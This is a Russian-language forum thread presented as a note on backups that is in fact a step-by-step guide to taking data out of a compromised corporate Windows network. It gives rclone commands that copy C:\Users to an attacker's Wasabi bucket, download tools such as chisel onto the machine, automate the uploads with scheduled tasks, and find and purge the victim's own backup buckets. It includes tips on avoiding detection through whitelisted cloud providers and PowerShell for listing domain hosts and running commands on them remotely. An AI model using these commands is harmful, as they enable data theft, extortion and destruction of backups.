LIMB
Вход Регистрация

тема

Всё что ты хотел узнать касаемо бэкапов (Заметка)

JingleBenz · · 3 ответов · 799 просмотров

Всех приветствую! Без воды расскажу самые простые способы КАК сделать бэкап находясь в сетке. Злоумышленники часто проникают в корп. среду и делают бэкапы ценных документов, файлов, чтобы далее шантажировать жертву. Вы как специалист по информационной безопасности должны понимать логику плохих парней;)

Не будет лить воду и перейдем сразу к делу.

Не удалось прогрузить медиа


Не удалось прогрузить медиа


rclone и restic - это две самые популярные тулзы для синхронизации локальных файлов с облачными хранилищами. Нам главное, чтобы поддерживало нашу OS (windows) и s3 провайдера. Давайте устроим суету=))

https://rclone.org/s3/ все есть в интернете, вся инфа. Я от себя могу сказать что рекомендую использовать Wasabi, т.к там простая регистрация и дают триал на месяц и Cloudflare R2 тоже заебись сервис, но надо карточку иностранную вбить.

Не удалось прогрузить медиа


Представим такую ситуацию у нас есть доменная учетка. Скачиваем на машину rclone и разархивируем стандартными средствами к примеру tar.

Не удалось прогрузить медиа


Как видим все работает. Но у нас пока нет s3 бакета.

Не удалось прогрузить медиа



Try Free жмем вводим почту, создаем учетку и получаем триал.

Не удалось прогрузить медиа


Как видим у меня есть 2 бакета и триал закончится через 8 дней. Я заново создам бакет в качестве демонтрации.

Создаем бакет

Переходим сюда: https://console.wasabisys.com/file_manager и жмем создать бакет

Не удалось прогрузить медиа


Жмем next несколько раз. Бакет создался. Давайте закинем туда что-нибудь.

Не удалось прогрузить медиа


Не удалось прогрузить медиа


По этой ссылке я могу загрузить утилиту. Это будет менее палевнее, чем скачивать с каких-то сомнительных источников, особенно, если организация уже пользуется wasabi или другим провайдером и сайт находится в вайтлисте.

Создаем ключи доступа

Идем сюда: https://console.wasabisys.com/access_keys создаем ключик

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Теперь у нас есть вся необходимая инфа на руках, чтобы засэтапить наш rclone.

Делаем как я

Настраиваем rclone

.\rclone.exe config

Не удалось прогрузить медиа


Далее 4, т.к у нас wasabi.

Не удалось прогрузить медиа


вводим ключик

Не удалось прогрузить медиа


Не забываем указать эндпоинт и регион. Не переживайте, если вы что-то не так укажите можно исправить конфиг.

Как видим chisel.exe нам доступен. Давайте его скачаем на локалку.

Кейс. Скачиваем необходимый софт на удаленную машину.

.\rclone.exe copy pohyi2:bucketbenz/chisel.exe ./

,/ - текущий каталог
pohyi2 - название конфига
bucketbenz - название бакета

Не удалось прогрузить медиа


все четко.

Кейс. Бэкапим ценные файлы корпорации

Теперь представим такую ситуацию, что мы хотим сохранить себе рекурсивно c:\Users или любую другую ценную директорию.

.\rclone.exe copy "C:\Users" pohyi2:bucketbenz --progress

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Не удалось прогрузить медиа


Отлично! Теперь у нас есть бэкап c:\Users.

Кейс. Создаем автоматическое резервное копирование.

Не удалось прогрузить медиа


Не удалось прогрузить медиа


В планировщике задач теперь есть таск на бэкап.

Кейс. Поиск и удаление бэкапов компании


schtasks /query /fo LIST /v | findstr /i "rclone restic veeam duplicati backup copy sync tar rsync borg snapshot"

Не удалось прогрузить медиа


видим что-то нестандартное.

читаем .bat видим что используется rclone, а также название бакета.

Не удалось прогрузить медиа


Не удалось прогрузить медиа


в файле rclone.conf хранятся конфигурации. Копируем конфигурацию и локально сохраняем все объекты (файлы) с бакета.

если вдруг не нашли конфиг. файл

dir C:\rclone.conf /s /p

удаляем все объекты в бакете "bucketbenz"
.\rclone.exe purge pohyi2:bucketbenz --progress

если нужно быстрее

.\rclone.exe purge pohyi2:bucketbenz --transfers 16 --checkers 16 --progress --retries 1 --bwlimit 100M

  • Удаляет указанную директорию и всё её содержимое, включая подпапки и файлы.
  • --transfers 16: Указывает количество одновременно выполняемых операций удаления. Больше значение — быстрее обработка.
  • --checkers 16: Определяет количество потоков, проверяющих объекты для обработки. Это ускоряет процесс обнаружения файлов для удаления.
  • --progress: Показывает прогресс выполнения задачи в реальном времени.
  • --retries 1: Устанавливает количество повторных попыток в случае ошибки. Значение 1 минимизирует задержки при сбоях.
  • --bwlimit 100M: Ограничивает пропускную способность до 100 МБ/с. Полезно для балансировки нагрузки на сеть.

Разница между --transfers и --checkers​

  • --transfers непосредственно влияет на то, сколько файлов удаляется одновременно.
  • --checkers определяет, насколько эффективно rclone сканирует объекты перед их обработкой.
Не удалось прогрузить медиа


Не удалось прогрузить медиа


все бакета больше нет=)

Как защитить свои ключики

Не удалось прогрузить медиа


Не удалось прогрузить медиа


теперь данные зашифрованы. Не забывайте ставить MFA на облачные сервисы. Всем хорошего настроения=)
👍41 ❤️16 🔥2 😮4 👏9 💯8
([adsisearcher]"(&(objectClass=computer))").FindAll() | ForEach-Object { $_.Properties.name }

узнаем компы в домене.

Не удалось прогрузить медиа


узнаем какие задачи запущены.
Invoke-Command -ComputerName DC-LAB-3, CLIENT-LAB-3 -ScriptBlock { Get-ScheduledTask | Where-Object { $_.TaskName -like "*backup*" } | Select-Object TaskName, State, LastRunTime, NextRun
Time }
Не удалось прогрузить медиа



посмотреть какие браузеры запущены

[SIZE=4]Invoke-Command -ComputerName DC-LAB-3, CLIENT-LAB-3 -ScriptBlock {Get-Process | Where-Object { $_.Name -match "chrome|firefox|msedge|iexplore" } | Select-Object Name, Id, StartTime }[/SIZE]

выполнить команду на указанных компах.

Invoke-Command -ComputerName DC-LAB-3, CLIENT-LAB-3 -ScriptBlock { ipconfig }
👍5 ❤️1 🔥1
Сайт то в вайтлисте, а что насчет домена? Не палевно будет, что бекап на левый бакет летит?
Ответv0ldem0rt

Сайт то в вайтлисте, а что насчет домена? Не палевно будет, что бекап на левый бакет летит?

скорее всего все зависит от быстроге реагирования SOC или админов, то есть на сколько они быстро среагируют на утечку, а так когда что будет передоваться куда-то не туда это всегда палево.
👍1

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.